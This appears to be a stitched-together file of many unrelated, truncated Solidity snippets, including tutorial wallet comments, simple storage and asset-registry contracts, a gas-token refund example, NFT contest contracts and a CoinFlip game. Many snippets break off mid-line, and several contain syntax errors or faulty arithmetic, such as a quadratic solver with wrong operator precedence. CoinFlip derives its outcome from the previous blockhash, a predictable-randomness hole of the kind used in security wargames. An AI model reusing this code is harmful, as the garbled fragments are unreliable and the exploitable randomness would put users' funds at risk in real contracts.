pragma solidity >=0.7.0 <0.9.0;
// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses
// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit
// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// 5 - Create a modifier called "hasFunds" instead of require statements
// 6 - Create events for each functions
// 7 - Make an OnlyOwner Modifier. Use it in a function that will check the balance of the entire contract
// 8 - Use Assert(State the fact, lis
pragma solidity >=0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Colnago is Ownable {
mapping(string => string) bikes;
mapping(string => mapping(uint256 => string)) updates;
mapping(string => uint256) updatesCountForBike;
function createAsset(string memory assetId, string memory data)
public
onlyOwner
returns (string memory)
{
require(
bytes(bikes[assetId]).length == 0,
"Duplicated ID."
);
bikes[assetId] = data;
return assetId;
}
function updateAsset(string memory assetId, uint256 updateId, string memory data)
public
onlyOwner
returns (string memory)
{
require(
bytes(updates[assetId][updateId]).length == 0,
"Asset/Update exists"
);
updates[assetId][updateId] = data;
updatesCountForBike[assetId] = updateId;
return updates[assetId][updateId];
}
function
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses
// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit
// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// 5 - Create a modifier called "hasFunds" instead of require statements
// 6 - Create events for each functions
// 7 - Make an OnlyOwner Modifier. Use it in a function that will check the balance of the entire contract
// 8 - Use Assert(State the fact, lis
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import { Context } from "@openzeppelin/contracts/utils/Context.sol";
import {_INTERFACEID_ERC725Y} from "@erc725/smart-contracts/contracts/constants.sol";
import { OwnableUnset } from "@erc725/smart-contracts/contracts/custom/OwnableUnset.sol";
import { ERC165Checker } from "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import { ILSP6KeyManager} from "@lukso/lsp-smart-contracts/contracts/LSP6KeyManager/ILSP6KeyManager.sol";
import "hardhat/console.sol";
/**
* @title LOOKSO post validator
* @notice A validator tailored for Universal Profiles and content publishing
* @author https://lookso.io
* @dev Writes to the Universal Profile key/value store
*/
contract LooksoPostValidator2 is Context {
bytes32 public constant REGISTRY_KEY = keccak256("LSPXXSocialRegistry");
event newPost(bytes32 postHash, address author, uint256 timestamp);
/**
* @notice Universal Profile (message sender) makes a post
* @dev This contract
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses
// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit
// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// 5 - Create a modifier called "hasFunds" instead of require statements
// 6- Create events for each functions
// NB - no need to create a new token: we'll use ETH
// Use OpenZeppelin's SafeMath for uint operations
contract Safe {
mapping(address =>
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function sqrt(uint x) private pure returns (uint y) {
if(x == 0) return 0;
else
{
if(x <= 3) return 1;
uint z = (x + 1) /2;
y = x;
while(z < y){
y=z;
z= (x / z + z) / 2;
}
}
}
function D(int a, int b, int c) public pure returns (int){
return b * b - 4 * a * c;
}
function equation (int a, int b, int c) public pure returns (int, int){
var temp = D(a, b, c);
require (!(temp < 0));
int minusB = b * ( -1);
if(temp==0){
int x= ( minusB ) /2 * a;
return (x,x);
}
int x1 = minusB + int(sqrt(uint(temp))) /2 * a;
int x2 = minusB - int(sqrt(uint(temp))) /2 * a;
return (x1,x2);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
require((_value > 50)); //EXAMPLE OF REQUIRE
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses
// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit
// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// NB - no need to create a new token: we'll use ETH
// Use OpenZeppelin's SafeMath for uint operations
contract Safe {
mapping(address => uint256) public balances;
//balances[msg.sender] (how to call mapping)
struct User{
address use
type T[] memory = StackSlot;
function index_access<ValueType T>(T[] memory x, uint256 index) returns (T result)
{
StackSlot mptr = (T[] memory).unwrap(x);
uint256 offset = 32 + index * 32;
assembly ("memory-safe") {
let size := mload(mptr)
if iszero(lt(index, size)) { revert(0, 0) /* out of bounds */ }
result := mload(add(mptr, offset))
}
}
function index_access<ValueType T>(T[] memory x, uint256 index) returns (T result)
{
StackSlot mptr = (T[] memory).unwrap(x);
uint256 offset = 32 + index * 32;
assembly ("memory-safe") {
let size := mload(mptr)
if iszero(lt(index, size)) { revert(0, 0) /* out of bounds */ }
result := mload(add(mptr, offset))
}
}
pragma solidity ^0.4.18;
contract Gastoken {
function free(uint256 value) public returns (bool success);
function freeUpTo(uint256 value) public returns (uint256 freed);
function freeFrom(address from, uint256 value) public returns (bool success);
function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}
contract Example {
// This function consumes a lot of gas
function expensiveStuff() private pure {
/* lots of expensive stuff */
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong to this Example contract. The gas refund can pay
* for up to half of the gas cost of the total transaction in which this
* call occurs.
*/
function burnGasAndFree(address gas_token, uint256 free) public {
require(Gastoken(gas_token).free(free));
expensiveStuff();
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong
pragma solidity ^0.8.0;
//SPDX-License-Identifier: MIT
contract e0x {
event Log(string message);
event LinkAdded(uint linkId, string url);
struct LinkTemplate {
address userAddress;
string url;
}
uint lastLinkId;
mapping (uint => LinkTemplate) public linkMapping;
constructor() {
lastLinkId = 0;
}
function createNewLink(string memory url) public returns (uint) {
lastLinkId++;
linkMapping[lastLinkId] = LinkTemplate(msg.sender, url);
emit LinkAdded(lastLinkId, url);
return lastLinkId;
}
modifier linkExists(uint linkId) {
//link with the given hash does not exist
if(linkMapping[linkId].userAddress == 0x0000000000000000000000000000000000000000) {
revert();
}
_;
}
function getLink(uint linkId) public view
returns(
address,
string memory
) {
LinkTemplate memory link = linkMapping[linkId];
return(
link.userAddress,
link.url
);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses
// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit
// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// NB - no need to create a new token: we'll use ETH
// Use OpenZeppelin's SafeMath for uint operations
contract Safe {
mapping(address => uint256) public balances;
struct User{
address userAddress;
uint256 userBalance;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
/**
* The purpose of this smart contract is to record transactions for web2 application uses
* The immediate need for this is to be able to associate an web2 transaction ID with a web 3 payment
*/
contract TransactionRecorder {
bool private _paused;
address private _owner;
uint256 private _tax;
struct Transaction {
string
}
// Map a company address to a list of transactions
mapping(address, mapping(string => ))
constructor() {
_paused = false;
_owner = msg.sender;
}
modifier isOwner() {
require(msg.sender == _owner, "You are not authorized to perform this action!");
_;
}
function setTaxRate(uint256 amount) external isOwner {
require(amount >= 0, "You can not set a negative tax rate");
_tax = amount;
}
function getTaxRate() external view returns(uint256) {
return _tax;
}
/**
* @dev Allow a specific address to accept paymen
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) external payable returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
// msg.sender.call{value: msg.value.mul(2)}("");
return true;
} else {
consecutiveWins = 0;
return false;
}
}
receive() external payable {
}
contract Contest is ERC721Full {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
/// original sponsor of this contest
address public originalSponsor;
/// minimum amount that must be supplied in order to make a submission
uint256 public submissionFee;
/// block timestamp at which this contest has officially ended
uint256 public contestEnd;
/// this represents a single entry in the contest
struct submission {
// the creater of this stable diffusion image
address submitter;
// number of votes for this submission
uint256 votes;
}
/// keeps track of the submissions that currently have the most votes
submission public leadingSubmission;
/// map between submissions and the number of votes received for that submission
mapping(uint256 => submission) public submissions;
/// address of contest factory
address public factory;
error Insufficient
contract Contest is ERC721Full {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
/// original sponsor of this contest
address public originalSponsor;
/// minimum amount that must be supplied in order to make a submission
uint256 public submissionFee;
/// block timestamp at which this contest has officially ended
uint256 public contestEnd;
struct submission {
// the creater of this stable diffusion image
address submitter;
// number of votes for this submission
uint256 votes;
}
/// map between submissions and the number of votes received for that submission
map(uint256 => submission) public submissions;
/// address of contest factory
address public factory;
error InsufficientSubmissionFee();
error SenderNotJudge(address sender);
/// @dev only submissions that meet the submission fee can enter the contest
modifier validSubmission() {
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Trans
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function constructor() public{
}
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
/**
*Submitted for verification at Etherscan.io on 2018-04-10
*/
pragma solidity ^0.4.20;
/*
*A reincarnation of Mahatma Gandhi, born again to live forever on the Ethereum Blockchain
dddddddd
GGGGGGGGGGGGG d::::::dhhhhhhh iiii jjjj iiii iiii
GGG::::::::::::G d::::::dh:::::h i::::i j::::j i::::i i::::i
GG:::::::::::::::G d::::::dh:::::h iiii jjjj iiii iiii
G:::::GGGGGGGG::::G d:::::d
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
function testGas1(uint256 renewCount, uint256 renewLength) {
uint256 gasBudget = 100 * 10 * renewCount;
uint256 refund = 50 * 10;
refund = refund - ((refund / 10) * (renewLength - renewCount));
}
function testGas2(uint256 renewCount, uint256 renewLength) {
uint256 gasBudget = 100 * 10 * renewCount;
uint256 refund = 50 * 10;
if(renewLength != renewCount) {
refund = refund - ((refund / 10) * (renewLength - renewCount));
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function testGas1(uint256 renewCount, uint256 renewLength) {
uint256 gasBudget = 100 * 10 * renewCount;
uint256 refund = 50 * 10;
refund = refund - ((refund / 10) * (renewLength - renewCount));
}
function testGas2(uint256 renewCount, uint256 renewLength) {
uint256 gasBudget = 100 * 10 * renewCount;
uint256 refund = 50 * 10;
if(renewLength != renewCount) {
refund = refund - ((refund / 10) * (renewLength - renewCount));
}
}